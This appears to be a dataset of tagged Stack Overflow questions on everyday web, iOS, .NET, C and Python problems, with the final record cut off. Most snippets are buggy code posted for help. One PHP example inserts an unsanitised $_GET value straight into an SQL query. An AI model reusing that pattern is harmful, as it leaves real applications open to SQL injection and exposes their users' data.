undefined method `each  in rails  in a rails project  i use below code to retrieve data from <code>assignmenttable</code> in database and show to user:    <code>views/assignmenttables/_form.html.erb</code>   <pre><code>&lt;% task_list = assignmenttable.find_by_current_user_id(user.id) %&gt;   &lt;% if task_list.blank  %&gt;   &lt;h1&gt;it s blank&lt;/h1&gt;   &lt;% else %&gt;     &lt;% task_list.each do |task| %&gt;         &lt;%= task.id %&gt;     &lt;% end %&gt; &lt;% end %&gt; </code></pre>   data is retrive correctly from database  if <code>task_list</code> isn t empty this code is correct  but when <code>task_list</code> is empty  i get below error:   <pre><code>undefined method `each  for #&lt;assignmenttable:0x000000069541c8&gt; </code></pre>   how can i handle this error,ruby-on-rails
is there any below or above pseudo class in css similar to before and after   just like <code>:before</code> and <code>:after</code> css pseudo classes  do we have any <code>:below</code> and <code>:above</code> pseudo classes to emulate the respective effects,css
is it possible to toggle these js tabs through the web console   i was just wondering if it is possible! i could not figure it out if it is possible  dont ask why i need it i just do. it would be very helpful if you could tell me.   <pre><code>            var tabtoggled = 0;             function toggletab(value){                 if (value == 0){ // toggle the register tab;                     if (tabtoggled == 1){                         tabtoggled = 0                         $( #loginform_landing ).hide();                         $( #registrationform_landing ).show();                         $( .registertab ).removeclass( registertab_deselected );                         $( .logintab ).removeclass( logintab_nowselected );                     }                 }else{                     if (tabtoggled == 0){                         tabtoggled = 1                         $( #loginform_landing ).show();                         $( #registrationform_landing ).hide();                         $( .registertab ).addclass( registertab_deselected );                         $( .logintab ).addclass( logintab_nowselected );                         }                 }             } </code></pre>,javascript
how do i determine if a control is enabled on a page   i have a textbox in a panel on an aspx page.    i need to disable a requiredfieldvalidator if the textbox is not enabled.    if the panel is disabled  and textbox.enabled is true  then the textbox is disabled on the page (which is fine.)    so how can i find out if the textbox is disabled on the page if the enabled property is not reliable     note that i need a generic solution  as there may be many nested levels of containers  and the containers are not always panels.,asp.net
interop istream derived class – redundant methods   i have a .net interop with three interfaces that  implements  istream i.e.     [mscorlib]system.runtime.interopservices.comtypes.istream  and they add a few methods of their own. each interface also has a class.     i had to do some modifying (round tripping) and as i was perusing the .il  i noticed how these istream derived interfaces and classes are implemented.  all the istream methods are declared along with the additional methods.    in a win32 ( _tlb unit ) i don t have to do this. an interface derived from  in this case  istream  needs only to declare the additional methods. the same for the class which implements the defaultinterface method.    this means in the interop there are six different declarations that include all the istream methods. is this really necessary  is there a way to avoid having all these seemingly redundant declarations     bilm,.net
create html page with two submit buttons  i have the next html code:   <pre><code>&lt;!doctype&gt;&lt;html&gt;&lt;body&gt; &lt;form method= post  action= /upload  enctype= multipart/form-data &gt; &lt;input type= file  name= uploadfile /&gt; &lt;input type= submit  /&gt;&lt;/form&gt; &lt;/body&gt;&lt;/html&gt; </code></pre>   which create a file input and <code>submit</code> button  which sends a post method (<code>/upload</code>).    i want to create a new button (<code>submitbig</code>)  which would send another post method (<code>/uploadbig</code>).    how can i do it,html
add class if parent element contains class  i want to add a class when clicking on an element. however  if the parent of this class already has this class in it  it should remove this class first. it does not seem to work. all it does is add new classes  but it doesn t remove the existing ones.   <pre><code>$( .btn ).click(function() {     var par = $(this).parent( div ).attr( class );     if(par.has( .active )){         $(this).addclass( active );     } else {         $(this).removeclass( active );         $(this).addclass( active );     } }); </code></pre>   my html structure would be    <pre><code>&lt;div class= container &gt;    &lt;a class= btn &gt;button&lt;/a&gt;    &lt;a class= btn &gt;button&lt;/a&gt; &lt;/div&gt; &lt;div class= container &gt;    &lt;a class= btn &gt;button&lt;/a&gt;    &lt;a class= btn &gt;button&lt;/a&gt; &lt;/div&gt; &lt;div class= container &gt;    &lt;a class= btn &gt;button&lt;/a&gt;    &lt;a class= btn &gt;button&lt;/a&gt; &lt;/div&gt; </code></pre>   every container can contain only 1 active class  so three in total in this case.,jquery
get a list of files on server with asp.net using a picker  is there a component available list fileupload which shows files on the server  not the client       i am basically looking for a clean dialog box to select server side files  like the one used in fileupload.,asp.net
how to check if file is ascii or binary in php  is there a quick  simple way to check if a file is ascii or binary with php,php
"what is the tag for html comment   what is the tag to insert a comment in html     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!--comment--&gt; or &lt;!comment!&gt;</code></pre>
 </div>
 </div>
  both the above tags are performing the task of a comment(that it is not executed in to the output)but what is the correct tag to insert a comment in html",html
clearing timeout on hover jquery  i am having some trouble with clearing the timeout set on showing the tooltip. i believe i understand how it works  but for some reason it doesn t work here.   <pre><code>$( .div ).hover(     function(){ var t = settimeout(function() {                 $( .tooltip ).show(500);                 }  500);}      function(){ cleartimeout(t);                 $( .tooltip ).hide(300);  }); </code></pre>,jquery
cellforrowatindexpath: indexpath always equal to 0  i don t get it. the cellforrowatindexpath function s indexpath parameter is always 0. i currently have 7 rows in my table. what my table shows is 7x the first table row. what could cause the indexpath to always be zero    <pre><code>@implementation sitesviewcontroller  @synthesize sites  sitecell;  - (nsinteger)tableview:(uitableview *)tableview numberofrowsinsection:(nsinteger)section {     return [sites count]; }  - (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath {     uitableviewcell *cell = [tableview dequeuereusablecellwithidentifier:@ sitecell ];     if (cell == nil) {         [[nsbundle mainbundle] loadnibnamed:@ sitecell  owner:self options:nil];         cell = sitecell;         self.sitecell = nil;     }     site *site = [sites objectatindex:indexpath.section];     uilabel *sitenamelabel;     sitenamelabel = (uilabel *)[cell viewwithtag:1];     sitenamelabel.text = site.sitename;      return cell; }  - (void)viewdidload {     [super viewdidload];      nsmanagedobjectcontext *context = [[digmateappdelegate sharedappdelegate] managedobjectcontext];     nsentitydescription *entitydesc = [nsentitydescription entityforname:@ sites  inmanagedobjectcontext:context];     nsfetchrequest *request = [[nsfetchrequest alloc] init];     [request setentity:entitydesc];     nserror *error;     sites = [context executefetchrequest:request error:&amp;error]; } </code></pre>,ios
run long operation after dismissing modal uiviewcontroller  i am starting a long-running operation on a uiviewcontroller presented modally. what s the best way to dismiss this uiviewcontroller but still finish the operation in the background,ios
reference separate li selector within ul  i am creating a horizontal navbar and i have an unordered list which i am attempting to style. i want each list item to display a different color when the button is hovered. to do this  i am referencing a separate <code>li</code> within the main <code>ul</code>. my problem is that i can t seem to reference the <code>id</code> called purple within the header <code>id</code>.  any ideas    <pre><code>&lt;!doctype html public  -//w3c//dtd html 4.01 transitional//en   http://www.w3.org/tr/html4/loose.dtd &gt; &lt;html&gt; &lt;head&gt;  &lt;meta http-equiv= content-type  content= text/html; charset=utf-8 &gt; &lt;title&gt;&lt;/title&gt;  &lt;style type= text/css &gt;  body {background-color:#eeeeee}  #header {list-style-type:none; width:978px; height:35px; margin:0 0 25px 0; padding:0} #header li {float:left; width:100px; height:29px; background:transparent url(images/menu_grad_0.gif) repeat-x; padding:9px 0 0 10px; margin-right:1px} #header li a {color:#ffffff; font-size:13px; font-weight:bold; display:block; text-decoration: none} #header #purple li a:hover {color:red}  #container {     background-color: #6c6b6f;     height: auto;     margin: 0 auto;     padding: 10px;     text-align: left;     width: 978px }  &lt;/style&gt;  &lt;/head&gt; &lt;body&gt;  &lt;div id= container &gt;  &lt;ul id= header &gt;     &lt;li id= purple &gt;&lt;a href= # &gt;&amp;raquo;&amp;nbsp;home&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= # &gt;&amp;raquo;&amp;nbsp;about me&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= # &gt;&amp;raquo;&amp;nbsp;contact&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt;  &lt;/div&gt;&lt;!--close div container--&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>,css
rails file setup for a control panel   how do you setup your views  controllers and routes     one controller for everything the control panel does  or many     firstly  let s try to think how we would view the various panels. let s say our control panel is pretty simple. we have one panel to show all the users who have signed-up and can crud them  and another panel to show all of the images that have uploaded  and we can carry up crud on those too.    routes:   <pre><code>scope path:  control_panel  do       get  users   to:  panels#users   as: :panel_show_users       get  photos   to:  panels#photos   as: :panel_show_photos end </code></pre>   controller:   <pre><code>class panelscontroller &lt; applicationcontroller     def users         @users = user.all     end      def photos         @photos = photo.all     end end </code></pre>   view file structure:   <pre><code>panels   |_ users.html.erb   |_ photos.html.erb </code></pre>   okay  now i don t see any problems with that  to simply access the panels and populate the views with data. <strong>do you see any problems </strong>    here is where i m sort of at a cross roads though. what should i do when i want to created update and delete a user/photo  should i put them all in the panelscontroller    <pre><code>class panelscontroller &lt; applicationcontroller     before_action :protect      def users         @users = user.all     end      def update_user         @user = user.find(params[:id])         @user.update(user_params)     end      def photos         @photos = photo.all     end      def update_photo         @photo = photo.find(params[:id])         @photo.update(photo_params)     end      private          def protect             redirect_to root_url  error:  you lack privileges!          end end </code></pre>   while this would result in a large panelscontroller  it would feel good to be able to execute that protect action and just one controller hook. it would also mean the routes would be easy to setup:   <pre><code>scope path:  control_panel  do       get  users   to:  panels#users   as: :panel_show_users       post  user   to:  panels#update   as: :panel_create_user        get  photos   to:  panels#photos   as: :panel_show_photos       post  photos   to:  panels#photos   as: :panel_create_photo end </code></pre>   <strong>i should use resource routes here </strong>    like i say  this will result in a huge panels controller  so i was thinking it may be better to have a separate controller for each resource and then redirect to <code>panels</code> views     routes:   <pre><code>scope path:  control_panel  do    resources :users    resources :photos end </code></pre>   controllers:   <pre><code>class userscontroller &lt; applicationcontroller      def index      end       def show      end       def new      end       def create      end       def update      end       def destroy      end        end  class photoscontroller &lt; applicationcontroller      def index      end       def show      end       def new      end       def create      end       def update      end       def destroy      end        end </code></pre>   still some quirks though. i have my users#index action there  but what if i have two routes that return an index of all users  in the control panel  but also  when people are searching for another user  for example. should i have two routes in the user controller  <code>def public_users</code> and <code>def control_panel_users</code>  that may be the answer. could setup a hook to run <code>@users = user.all</code> in both of them  but redirect to a different location  and not have the <code>protect</code> method redirect them.    how should i protect these routes from non-admins  should i move my protect method into the the application controller  wouldn t this be a bit fiddly to setup    <pre><code>class applicationcontroller &lt; actioncontroller     before_action :protect      def protect end end  class staticcontroller &lt; applicationcontroller     skip_before_action [:home  :about  :contact]      def home     end      def about     end      def contact     end end </code></pre>   but that is my question. 1 control panel controller or no control panel controller.    i really wish there was more advanced tutorials out there :( billions of books on crud  mvc and things  but nothing on advanced things like control panels and ajax...,ruby-on-rails
use swift library in objc  is there a simple way to use a swift library in objc  and if yes  how can i do it      here the library i would like to use: <a href= https://github.com/matthewpalmer/regift  rel= nofollow >https://github.com/matthewpalmer/regift</a>    by the way  if you guys know another way to convert video to animated gif in ios. thanks!,ios
why is the overflow not working here   this is my css; i need this to have s scroll or auto overflow for all its content. i can t understand why it is not showing up.   <pre><code>.holder{     display: table;     position: relative;     margin-left: auto;     margin-right: auto;     top: 2.5%;     width: 90%;     height: 95%;     background-image:url( images\\tile2.png );     background-repeat:repeat;     overflow: scroll; } </code></pre>,css
identifying the effective config file  i have run into several instances recently where i have had trouble figuring which .config file a given application or dll is referencing.  i ve been able to figure it out through some trial and error  but i m hoping there is a better way.  i d really like to hear some suggestions.    thanks!,.net
procedure for entry with the name of the declared operations  i coded an avl tree and now i am trying to code a service for users of the program.    here is my problem:    input: n - number of operations  this is easy  i will create a for loop <code>(i = 0; i &lt; n; i++)</code>  i will be incremented after operation.    but i dont know how i can code entry with the namne of the declared operation.    list of operations:   <ul> <li>insert x - insert x to avl tree</li> <li>delete x - delete x from avl tree</li> <li>min - print min element</li> <li>max - print max element</li> </ul>   struct of tree:   <pre><code>entestruct avl_tree { int key; int bf; struct avl_tree *up; struct avl_tree *left; struct avl_tree *right; };  typedef struct avl_tree node; </code></pre>   i coded the insert function like:   <pre><code>void insert(node **tree  int k){ ... } </code></pre>   i know how i can add value to tree: <code>insert(&amp;root  k)</code>  but i dont know how i can take a one line from user with the name of operation and value and what i should do when operation dont need a value like operation min or max.    example how program should work:    input:   <pre><code>4 // [this is n - number of operations]     insert 1 // [insert(&amp;root  k)]     insert 3 // [insert(&amp;root  k]     max // [max(k)]     min // [min(k)] </code></pre>   output:   <pre><code>3 1 </code></pre>,c
css font family issue in chrome  <a href= https://i.stack.imgur.com/j0pqm.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/j0pqm.png  alt= enter image description here ></a>    hello i have a problem regarding font-family in chrome. i used merriweather font but it looks good in mozilla but in chrome it looks like see in below image mostly it doesn t support characters like b g t check in around red circle  i also used -web-kit for chrome and all but i didn t get proper response  so please help me how can i resolve it.,css
link service based on $http to controller  in my controller i am using a service based on $http which on success is updating the $scope.     also  i want to have the access to the service in my directive  the on ng-click in directive make some post  and then refresh the data from server and update the scope afterwards. so the route for the signal would be: directive -> service -> controller -> $scope. how can i do that without invoking a method on controller  but invoking it from directive     i know i can bind some methods between directive and controller  but i have like 8 possible methods and i don t want to write 8 times <code>method1: &amp; </code> and <code>&lt;mydirective method1= method1()  method2= method2()  etc...</code> that would be a mess.    i don t want you to write much code for me  just some hints  please...,angularjs
css line heights being off  i have an <code>&lt;a&gt;</code> with some text in. i have set a font-size and a line-height on the a but the text sticks out the bottom of the a.    how can this be resolved     <img src= https://i.stack.imgur.com/euwsh.png  alt= enter image description here >    markup:   <pre><code>&lt;a href= #  class= prev-link&gt;previous photo&lt;/a&gt; </code></pre>   styles:   <pre><code>.prev-link {   display: inline-block;   margin: 0;   border-width: 0;   font-size: 18px;   line-height: 1em;   color: red;   background-color: #102c3b; } </code></pre>   any ideas     this pic shows what happens when i set line-height to normal. it fits the text but leaves a top gap     <img src= https://i.stack.imgur.com/pqmzi.png  alt= enter image description here >,css
js html table to excel file download ie  i have a html table  i am exporting its content to excel this is how i am doing   <pre><code>function createexcelsheet() {             var x = document.getelementbyid( testtable ).rows; var xls = new activexobject( excel.application );             xls.visible = true;             xls.workbooks.add             for (i = 0; i &lt; x.length; i++) {                 var y = x[i].cells;                 for (j = 0; j &lt; y.length; j++) {                     xls.cells(i + 1  j + 1).value = y[j].innertext;                 }             }             xls.visible = true;             xls.usercontrol = true;             return xls; } </code></pre>   its generating excel properly  but after generating its opening it  i have to download it after generating. i have no clue how to call window.location.href in this scenario. i have to do this in ie only.,javascript
unable to call method from business layer  i am working on a project that has three layers: business  data  and presentation.    the business layer contains table adapters which interact with a sql database.    i wrote a new method to interact with a sql database in the business layer  but when i try to reference it outside in the presentation layer  it cannot be found.,.net
license number validation in javascript  i have created a javascript function for validation of us driving license. issue is function is browser dependent. that is function creates error in ie but run fine in mozilla and chrome..    i have validated it as first three digit should be either 0 or 1 or 2 or 3.   <pre><code>    //license number     var strfilter = /^[0-9]*$/;     var chkval36 = document.getelementbyid( license ).value;     var chkval37 = document.getelementbyid( license ).value.length;     var chkval38 = document.getelementbyid( license ).value;      if ((!strfilter.test(chkval36)) || ((chkval36 !==   ) &amp;&amp; (chkval36 === 0)) || (chkval36 !==   ) || (chkval37 !== 8) || ((chkval38[0] !== 0) &amp;&amp; (chkval38[0] !== 1) &amp;&amp; (chkval38[0] !== 2) &amp;&amp; (chkval38[0] !== 3))) {         alert( please enter valid 8-digit license number\r\n(only digits) );         document.getelementbyid( license ).focus();         document.getelementbyid( license ).style.background =  #dfe32d ;         document.getelementbyid( license ).value = null;         return false;     } </code></pre>,javascript
merge multiple files by reading them simultaneously line by line   i have 3 files:    <em>file1:</em>   <pre><code>    chrm    6423    5     chrm    6432    4     chrm    7575    1     chrm    7670    1     chrm    7933    1     chrm    7984    1     chrm    8123    1     chrm    9944    1     chrm    10434   1     chrm    10998   13     chrm    10999   19     chrm    11024   17     chrm    11025   29     chrm    11117   21     chrm    11118   42     chr1    197095350   2 chr1    197103061   1 chr1    197103582   1 chr1    197103615   1 chr1    197103810   3 chr1    197103885   2 chr1    197104256   1 chr1    197107467   4 chr1    197107480   5 chr1    197107498   6 chr1    197107528   10 chr1    197107805   1 chr1    197107806   1 chr1    197107813   1 chr1    197107814   1 chr1    197107839   1 chr1    197107840   1 chr1    197107855   1 chr1    197107856   1 chr1    197107877   1 chr1    197107878   1 chr1    197111511   1 chr1    197120122   1 chr1    197125503   1 chr1    197126978   1 chr1    197127070   1 chr1    197127084   1 chr1    197129731   2 chr1    197129758   2 chr1    197129765   1 chr1    197167632   2 chr1    197167652   2 chr1    197167668   2 chr1    197167682   2 chr1    197181417   1 chr1    197181973   3 chr1    197181975   3 chr1    197192150   0 </code></pre>   <em>file2:</em>   <pre><code>  chrm  6423    5     chrm    6432    4     chrm    6582    1     chrm    6640    1     chrm    6643    1     chrm    7140    1     chrm    10998   7     chrm    10999   8     chrm    11024   10     chrm    11025   13     chrm    11117   12     chrm    11118   33     chr1    197095157   2 chr1    197095185   2 chr1    197098860   1 chr1    197105061   1 chr1    197107422   1 chr1    197107436   1 chr1    197107467   3 chr1    197107480   4 chr1    197107498   3 chr1    197107528   4 chr1    197107805   2 chr1    197107813   2 chr1    197107839   1 chr1    197108557   1 chr1    197108591   1 chr1    197108596   1 chr1    197108617   1 chr1    197108651   1 chr1    197139308   1 chr1    197139335   1 chr1    197143403   1 chr1    197143442   1 chr1    197145546   1 chr1    197148715   1 chr1    197148723   1 chr1    197148731   1 chr1    197148761   1 chr1    197153190   1 chr1    197166831   1 chr1    197166847   2 chr1    197166922   2 chr1    197166950   1 chr1    197166954   1 chr1    197167041   1 chr1    197167778   1 chr1    197167791   1 chr1    197167834   1 chr1    197167857   2 chr1    197167860   2 chr1    197167865   1 chr1    197167867   1 chr1    197167871   1 chr1    197167935   2 chr1    197167946   2 chr1    197167948   2 chr1    197167951   2 chr1    197167974   1 chr1    197167980   1 chr1    197168142   1 chr1    197168163   1 chr1    197168195   1 chr1    197168210   1 chr1    197169548   1 chr1    197169580   1 chr1    197169609   1 chr1    197183318   1 chr1    197183404   1 chr1    197184910   1 chr1    197184937   1 chr1    197186368   1 chr1    197191991   1 chr1    197192031   1 chr1    197192047   1 chr1    197192097   1 chr1    197192106   1 chr1    197192125   1 chr1    197192150   1 </code></pre>   <em>file3:</em>   <pre><code>    chrm    6423    2     chrm    6432    1     chrm    6766    1     chrm    6785    1     chrm    10075   1     chrm    10084   1     chrm    10998   7     chrm    10999   8     chrm    11024   7     chrm    11025   14     chrm    11117   8 chr1    197095943   1 chr1    197096144   1 chr1    197104061   1 chr1    197104257   1 chr1    197107805   2 chr1    197122470   1 chr1    197123085   1 chr1    197123093   1 chr1    197126978   1 chr1    197142562   1 chr1    197157076   1 chr1    197157101   2 chr1    197162035   4 chr1    197167431   1 chr1    197167470   1 chr1    197167535   1 chr1    197167652   1 chr1    197167668   1 chr1    197167682   1 chr1    197167715   1 chr1    197167734   1 chr1    197167755   1 chr1    197168107   2 chr1    197168113   2 chr1    197172198   1 chr1    197172211   1 chr1    197172221   1 chr1    197172271   1 chr1    197175787   1 chr1    197175806   1 chr1    197175822   1 chr1    197192150   0 </code></pre>   <em>resulting file should be like this:</em>   <pre><code>    6423    chrm    2   5   5     6432    chrm    1   4   4   6582  chrm    1 197093370   chr1    1 197093385   chr1    1 197094791   chr1    1 197094813   chr1    1 197094855   chr1    1 197094857   chr1    1 197095157   chr1    2 197095185   chr1    2 197095350   chr1    2 197095943   chr1    1 197096 </code></pre>   now my code is working properly.but with an issu in while loop that after merging many records nearly at the end of the merged file it stopped writing on the file and just wrote 197096   .... and stopped with an error traceback (most recent call last):   file     line 4  in  indexerror: list index out of range    i think this error is related to while loop.i dont know why its happening.i am also changing me code as u can see below:<br> look her comes the problem:u can see clearly in resultant file that in this situation some thing is happening that after reading from single files code is not able to read common values from all files and also at this situation it is not giving 7575 that should come after7140.    i have multiple files that are large and i want to read them all line by line and merge them together if they all have same value for column no.2 for which i used the logic of taking all the 2nd column val in a list and then found the smallest value of them. writing smallest value records (column 3 saved in mycover) from the files showed smallest value to a new file. and then keep the track of files that are read to read next line from them in <code>my_newfile[]</code> and deleted the records that have been written to the file.     hope it will be sufficient to understand. i dont know how to repeat the process until all the files reached their end so to read all the records from all files. my code is as follows:   <pre><code>    import sys import glob import errno path =  *sorted_coverage.txt     filenames = glob.glob(path)   files = [open(i   r ) for i in filenames]  p=1 mylist=[] mychr=[] mycover=[] new_mychr=[] new_mycover=[] new_mylist=[] myfile=[] new_myfile=[] ab=   g=1 result_f = open( merging_water_onlyselected.txt    a ) for j in files:      line = j.readline()     parts = line.split()     mychr.append(parts[0])     mycover.append(parts[2])     mylist.append(parts[1])     myfile.append(j) mylist=map(int mylist) minval = min(mylist) ind = [i for i  v in enumerate(mylist) if v == minval] not_ind = [i for i  v in enumerate(mylist) if v != minval] w=   j=0 for j in xrange(len(ind)):  # writing  records to file with minimum value     if(j==0):         ab = (str(mylist[ind[j]])+ \t +mychr[ind[j]]+ \t +mycover[ind[j]])     else:         ab=ab+ \t +mycover[ind[j]]  #smallest written on file  result_f.writelines(ab+ \n ) ab=    for i in ind:     new_myfile.append(myfile[i])        #removing the records by index which have  been used from mylists . for i in sorted(ind  reverse=true):     del mylist[i]     del mycover[i]     del mychr[i]     del myfile[i]   #how to iterate the following code from all records of all files till the end of each file while(true):     for i in xrange(len(new_myfile)):         print len(new_myfile)                myfile.append(new_myfile[i])         line = new_myfile[i].readline()         parts = line.split()         mychr.append(parts[0])         mycover.append(parts[2])         mylist.append(parts[1])         new_myfile=[]     mylist=map(int  mylist)     minval = min(mylist)     print minval     print( list values: )     print mylist     ind = [i for i  v in enumerate(mylist) if v == minval]     not_ind = [i for i  v in enumerate(mylist) if v !=  minval]     k=0     ab=       for j in xrange(len(ind)):  # writing  records to file with minimum value         if(j==0):             ab = (str(mylist[ind[j]])+ \t +str(mychr[ind[j]])+ \t +str(mycover[ind[j]]))             k=k+1         else:             ab=ab+ \t +str(mycover[ind[j]])             k=k+1     #smallest written on file     result_f.writelines(ab+ \n )     ab=       for i in ind:         new_myfile.append(myfile[i])       #removing the records by index which have  been used from mylists .     for i in sorted(ind  reverse=true):         del mylist[i]         del mycover[i]         del mychr[i]         del myfile[i] result_f.close() </code></pre>   i ve been searching for a solution for many days but still could not find any. i have no idea whether this code could be improved more or not as i m quite new to python.    if anyone could be of help i shall be highly grateful.,python
validating mobile no  validate the mobile number up to 9 digits  if the telephone number starts with 8 otherwise 10 digits needs to be entered.,.net
get selected values of multiple selects  i have a page where the user can generate an undefined amount of <code>&lt;select&gt;</code> elements.    e.g.   <pre><code>&lt;select&gt;     &lt;option&gt;blabla&lt;/option&gt;     &lt;option&gt;blabla&lt;/option&gt;     &lt;option&gt;blabla&lt;/option&gt; &lt;/select&gt; &lt;select&gt;     &lt;option&gt;blabla&lt;/option&gt;     &lt;option&gt;blabla&lt;/option&gt;     &lt;option&gt;blabla&lt;/option&gt; &lt;/select&gt; &lt;select&gt;     &lt;option&gt;blabla&lt;/option&gt;     &lt;option&gt;blabla&lt;/option&gt;     &lt;option&gt;blabla&lt;/option&gt; &lt;/select&gt; &lt;select&gt;     &lt;option&gt;blabla&lt;/option&gt;     &lt;option&gt;blabla&lt;/option&gt;     &lt;option&gt;blabla&lt;/option&gt; &lt;/select&gt; </code></pre>   my question is how can i get the values of all selected options in jquery.,jquery
advantages and disadvantages between int vs int_fast8_t  while i was learning datatypes in c. i came across <code>int_fast8_t</code> and <code>int_least8_t</code> data types. i did not know these  so i have googled it. i have found some answers here    <a href= https://stackoverflow.com/questions/5254051/the-difference-of-int8-t-int-least8-t-and-int-fast8-t >the difference of int8_t  int_least8_t and int_fast8_t </a>     the answers are <code>int_fast8_t</code> is fastest but iam surprised what things makes it fast. what techinques does compiler use to make it fast   and also  when there exists <code>int</code> datatype and <code>short</code> <code>long</code> modifiers to modify int size. what is the need of this (<code>int_fast8_t</code>) datatypes       if <code>int_fast8_t</code> is faster then we can simply ignore <code>int</code> and go for <code>int_fast8_t</code> always  since every one needs speed.     is there any limitations for <code>int_fast8_t</code>   what are the advantages or disadvantages between <code>int_fast8_t and int</code>. any help is greatly appreciated. thanks,c
how to avoid initialization of web user control inside aspx   i have an aspx page which contains a web user control as below.   <pre><code>&lt;html&gt; &lt;body&gt;     &lt;form id= form1  runat= server &gt;     &lt;div&gt;         &lt;asp:placeholder id= placeholder1  runat= server &gt;             &lt;uc1:webusercontrol visible= false  id= webusercontrol1  runat= server  /&gt;         &lt;/asp:placeholder&gt;         &lt;asp:label id= label1  runat= server  text= this is visible &gt;&lt;/asp:label&gt;     &lt;/div&gt;     &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   in the page_load method of the above page i am setting the visible = true/false (based on some condition) for the webusercontrol1. webusercontrol1 contains lots of control itself. but i don t want to initialize the controls inside webusercontrol1. is there anyway we can avoid initializing the childcontrols of webusercontrol1,asp.net
calling block assignment from hash  using rails 4.2. i have the following:   <pre><code>place_details = {   name:  abc     address_components: [     { long_name:  nevada   short_name:  nv   types: [ administrative_area_level_1    political ] }       { long_name:  united states   short_name:  us   types: [ country    political ] }   ] }  place.tap do |pl|   pl.name = place_details.dig(:name)   place_details.dig(:address_components).each do |component|     pl.component.dig(:types).first = component[:long_name]   end end </code></pre>   expected:   <pre><code>place.tap do |pl|   pl.name =  abc    pl.administrative_area_level_1 =  nevada    pl.country =  united states  end </code></pre>   the line <code>pl.component.dig(:types).first = component[:long_name]</code> doesn t work  for obvious reason.    what i want:   <ul> <li>ability to assign values</li> <li>only takes the first in <code>types</code>: <code>administrative_area_level_1</code> and <code>country</code></li> </ul>,ruby-on-rails
the id is not being sent from 1 page to another via form submit  i am trying to send the username from 1 page to the next at the click of a form the image details is being sent but the username isnt.   <pre><code>&lt; php      // connect to server and select database.     include( connect.php );      //get username from address bar     $username=$_get[ id ];      $sql= select * from image_upload where user =  $username  ;     $result=mysql_query($sql);     $row=mysql_fetch_array($result);      //test is username is being sent to this page     echo  select image to $username folder ;  &gt;  &lt;form action= process.php id=&lt; php echo $row[ username ];  &gt;  method= post   enctype= multipart/form-data &gt;     &lt;input type= file  name= image &gt;     &lt;p&gt;     &lt;input type= submit  name= submit  value= upload &gt; &lt;/form&gt; </code></pre>   here is what the code is for the process.php page incase this is where the problem is.   <pre><code>&lt; php  include( connect.php );  $username=$_get[ id ]; if(isset($_post[ submit ])) {     $sql= select * from image_upload where user =  $username  ;     $result=mysql_query($sql);     $row=mysql_fetch_array($result);      $imagename = mysql_real_escape_string($_files[ image ][ name ]);     $imagedata = mysql_real_escape_string(file_get_contents($_files[ image ][ tmp_name ]));     $imagetype = mysql_real_escape_string($_files[ image ][ type ]);     $tmp_name  = mysql_real_escape_string($_files[ image ][ tmp_name ]);      //get current working directory     $curdir = getcwd();      //testing uploaded file is an image     if(substr($imagetype 0 5) ==  image )     {          //testing out information has passed over          echo  $username ;          echo  &lt;br&gt; ;          echo  $curdir now has $imagetype ;          echo  &lt;br&gt; ;          echo  $imagename ;          echo  &lt;br&gt; ;     }else{          echo  sorry images only ;     } }  &gt; </code></pre>,php
do browsers automatically insert missing html tags   i m working with a web page the translates content from xml to html and then displays it on the html template page.  i have a single page where some elements are getting misplaced that are defined in the template.  the only thing i can think of is that the xml is getting translated incorrectly.  now my question is  if it is translated incorrectly and there are missing tags (e.g. missing <code>&lt;/div&gt;</code> tags)  would a browser automatically insert the necessary tags       i just don t understand how else an element on my template page could be in the wrong place unless the browser is doing something i don t know about...,html
php fatal error: call to undefined method after uploading on the web  i have some pages  which work fine locally(using wamp and error_reporting e_all in php.ini)  but once i upload them  i get the following error: fatal error: call to undefined method db::exists() the method is there  and i don t know why it can t be seen.    do you have an idea what went wrong,php
how to keep the uisearchbar s placeholder left-aligned  i find the ios system(7.0+) keep the placeholder of uisearchbar center-aligned but left-aligned in 6.0- version. i want to keep uisearchbar s placeholder left-aligned in all versions of ios. then how can i handle with it     i attempt to append whitespace character to the uisearchbar s placeholder  it seems to  resolve the problem  but i want to know whether exist elegant method to handle this problem. is there god can teach me to end the problem,ios
how to intercept ruby on rails (framework) warnings  according to this problem: <a href= https://stackoverflow.com/questions/24393153/what-is-a-def-else-end-construct ><code>def .. else .. end in ruby</code></a>  i was missing a ror warning  because i just did not look there (in the output)    i now want to prevent my self stepping into similar  pitfalls  in that way  that i show this warning(s) on my html-page (development)  there it hits my eye for sure.    so is there a way to intercept this warnings  for example putting (or getting) it from @env or alike     i actually even dont know what (or who ) the source or better the transport layer of such warnings is (rails ),ruby-on-rails
similar to val() but for the selected text in a select multiple  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/1643227/jquery-get-selected-text-from-dropdownlist >jquery get selected text from dropdownlist</a>    </blockquote>    <pre><code>&lt;select id= id_deals  name= deals  multiple= multiple &gt;   &lt;option value= 1 &gt;deal 2&lt;/option&gt;   &lt;option value= 2 &gt;deal 1&lt;/option&gt; &lt;/select&gt; </code></pre>   with jquery i can get the value of the selected items like this:   <pre><code>var selected = $(e.target).val();  &gt;&gt; 2 </code></pre>   but surprisingly when i try to get the actual selected text (e.g. deal 1)  it gives me both entries:   <pre><code>var selected_text = $(e.target).text();  &gt;&gt;  \ndeal 2\ndeal 1\n  </code></pre>   why is that and how could i get the text of the selected entries as well,jquery
look up property by name using a string variable  i want to look up a property of a javascript object using a string inside of a variable  but when i execute the code below  the second alert returns <code>undefined</code>.   <pre><code> &lt;script&gt;     var operations = { create :  post                          read :  get                          delete :  delete      };     //result post     alert(operations.create);      var method= create ;     alert(operations.method); //returns undefined  i want it to return  post   &lt;/script&gt; </code></pre>   how do i use the  <code>method</code>  variable to look up the  <code>create</code>  property i created at the beginning of the script,javascript
"rails  getting started  showing comments partial  i am working through the getting started rails guide.  prior to refactoring (section 7) my comments were displaying.      after refactoring i am getting the following error on my show comments link:    nomethoderror in articlescontroller#show    undefined method `article  for #    thank you for your time and help.    articles_controller.rb:    <div class= snippet  data-lang= js  data-hide= false >
